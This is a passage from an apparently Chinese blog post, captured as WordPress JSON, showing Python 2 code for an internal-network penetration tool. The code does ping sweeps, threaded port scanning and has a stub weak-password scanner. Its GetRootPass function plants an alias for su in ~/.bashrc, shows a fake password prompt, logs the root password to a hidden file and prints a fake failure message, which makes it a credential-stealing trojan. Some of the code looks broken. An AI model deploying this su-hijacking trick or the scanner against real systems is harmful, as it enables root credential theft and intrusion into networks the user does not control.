<li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.t.setDaemon(<\/span><span>True<\/span><span>) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.t.start() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>for<\/span><span>&nbsp;ip&nbsp;<\/span><span>in<\/span><span>&nbsp;_pinglist: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.q.put(ip) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.q.join() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#\u6253\u5370\u626b\u63cf\u5b58\u6d3bIP\u5217\u8868\u7ed3\u679c,\u5e76\u7ed9\u7aef\u53e3\u5f00\u53d1\u5b57\u5178\u8d4b\u503c <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>for<\/span><span>&nbsp;ip&nbsp;<\/span><span>in<\/span><span>&nbsp;<\/span><span>self<\/span><span>.networkIPlistA: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.networkIP_portOpen[ip]=<\/span><span>''<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;ip &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'###Port&nbsp;opening&nbsp;list...###'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_scanlist&nbsp;=&nbsp;[] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>for<\/span><span>&nbsp;ip&nbsp;<\/span><span>in<\/span><span>&nbsp;<\/span><span>self<\/span><span>.networkIPlistA: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>for<\/span><span>&nbsp;port&nbsp;<\/span><span>in<\/span><span>&nbsp;<\/span><span>self<\/span><span>.portlist: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_scanlist.append([ip,port]) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>for<\/span><span>&nbsp;i&nbsp;&nbsp;<\/span><span>in<\/span><span>&nbsp;range(<\/span><span>self<\/span><span>.NUM): &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.t2&nbsp;=&nbsp;Thread(target&nbsp;=&nbsp;<\/span><span>self<\/span><span>.__portScan) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.t2.setDaemon(<\/span><span>True<\/span><span>) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.t2.start() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>for<\/span><span>&nbsp;scan&nbsp;<\/span><span>in<\/span><span>&nbsp;_scanlist: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.s.put(scan) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.s.join() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#print&nbsp;self.networkIP_portOpen <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#\u6253\u5370\u7aef\u53e3\u626b\u63cf\u7ed3\u679c\uff1a <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>for<\/span><span>&nbsp;ip&nbsp;<\/span><span>in<\/span><span>&nbsp;<\/span><span>self<\/span><span>.networkIPlistA: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;portlist&nbsp;=&nbsp;<\/span><span>self<\/span><span>.networkIP_portOpen[ip].split(<\/span><span>','<\/span><span>) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#print&nbsp;portlist <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>for<\/span><span>&nbsp;port&nbsp;<\/span><span>in<\/span><span>&nbsp;portlist: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>if<\/span><span>&nbsp;port&nbsp;!=&nbsp;<\/span><span>''<\/span><span>: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'%s:%s'<\/span><span>&nbsp;%&nbsp;(ip,port) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#\u5148ping\uff0c\u540e\u76f4\u63a5\u8fdb\u884cTCP\u8fde\u63a5\u626b\u63cf <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'##########Port&nbsp;scan&nbsp;finished##########'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'####################\u7f51\u7edc\u4fe1\u606f\u83b7\u53d6\u7ed3\u675f####################\\n'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>def<\/span><span>&nbsp;PassScan(<\/span><span>self<\/span><span>,hostsIP,service,port,username,password): &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#\u652f\u6301ssh\u3001telnet\u3001ftp\u3001mysql\u3001oralce <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'##########Weak&nbsp;password&nbsp;scanning##########'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>return<\/span><span>&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>def<\/span><span>&nbsp;GetRootPass(<\/span><span>self<\/span><span>):&nbsp;<\/span><span>#\u6d4b\u8bd5\u7528\u7528\u4e0d\u77e5\u9053\u597d\u4e0d\u597d\u7528 <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_file&nbsp;=&nbsp;open(<\/span><span>'~\/.bashrc'<\/span><span>,<\/span><span>'a'<\/span><span>) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_file.write(<\/span><span>\"alias&nbsp;su=\\\u2019%s+\/root.py\\'\"<\/span><span>)&nbsp;%&nbsp;<\/span><span>self<\/span><span>.path &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_file.close() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;current_time&nbsp;=&nbsp;time.strftime(<\/span><span>\"%Y-%m-%d&nbsp;%H:%M\"<\/span><span>)&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_logfile=<\/span><span>\"%s+.su.log\"<\/span><span>&nbsp;%&nbsp;<\/span><span>self<\/span><span>.path&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#\u5bc6\u7801\u83b7\u53d6\u540e\u8bb0\u5f55\u5728\u8fd9\u91cc&nbsp;&nbsp; <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#CentOS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#fail_str&nbsp;=&nbsp;\"su:&nbsp;incorrect&nbsp;password\"&nbsp;&nbsp; <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#Ubuntu&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#fail_str&nbsp;=&nbsp;\"su:&nbsp;Authentication&nbsp;failure\"&nbsp;&nbsp; <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#For&nbsp;Linux&nbsp;Korea&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#centos,ubuntu,korea&nbsp;\u5207\u6362root\u7528\u6237\u5931\u8d25\u63d0\u793a\u4e0d\u4e00\u6837&nbsp;&nbsp; <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fail_str&nbsp;=&nbsp;<\/span><span>\"su:&nbsp;incorrect&nbsp;password\"<\/span><span>&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>try<\/span><span>:&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;passwd&nbsp;=&nbsp;getpass.getpass(prompt=<\/span><span>'Password:&nbsp;'<\/span><span>); &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_file&nbsp;=&nbsp;open(_logfile,<\/span><span>'a'<\/span><span>).write(<\/span><span>\"[%s]t%s\"<\/span><span>%(passwd,&nbsp;current_time))<\/span><span>#\u622a\u53d6root\u5bc6\u7801&nbsp;&nbsp; <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_file.write(<\/span><span>'\\n'<\/span><span>) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_file.close() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>except<\/span><span>: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>pass<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;time.sleep(<\/span><span>1<\/span><span>) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;fail_str&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#\u6253\u5370\u5207\u6362root\u5931\u8d25\u63d0\u793a <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>pass<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>def<\/span><span>&nbsp;Runall(<\/span><span>self<\/span><span>): &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>pass<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>if<\/span><span>&nbsp;__name__&nbsp;==&nbsp;<\/span><span>'__main__'<\/span><span>: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;out=InScaner(<\/span><span>'ocellus.biz'<\/span><span>) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;out.HostInfoGet() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;out.NetworkInfoGet() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;out.PortScan() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'###########InScan&nbsp;finished###########'<\/span><span>&nbsp;<\/span><\/li>\n \n \n \n <\/ol><\/pre>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6e17\u900f\u6d4b\u8bd5\u4ece\u4e92\u8054\u7f51\u627e\u5230\u4e86\u5165\u4fb5\u5185\u7f51\u7684\u5165\u53e3\u70b9\u4e4b\u540e\u5269\u4e0b\u7684\u5c31\u5185\u7f51\u6e17\u900f\u6d4b\u8bd5\u4e86\u3002 \u6709\u4eba\u8bf4\u5230\u4e86\u5185\u7f51\u8fd8\u4e0d\u5bb9\u6613\uff0c\u968f\u4fbf\u62ff\u4e2ahscan [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":289645,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[202645],"tags":[],"class_list":["post-289644","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-202645"],"_links":{"self":[{"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/posts\/289644","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/comments?post=289644"}],"version-history":[{"count":0,"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/posts\/289644\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/media\/289645"}],"wp:attachment":[{"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/media?parent=289644"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/categories?post=289644"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/tags?post=289644"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}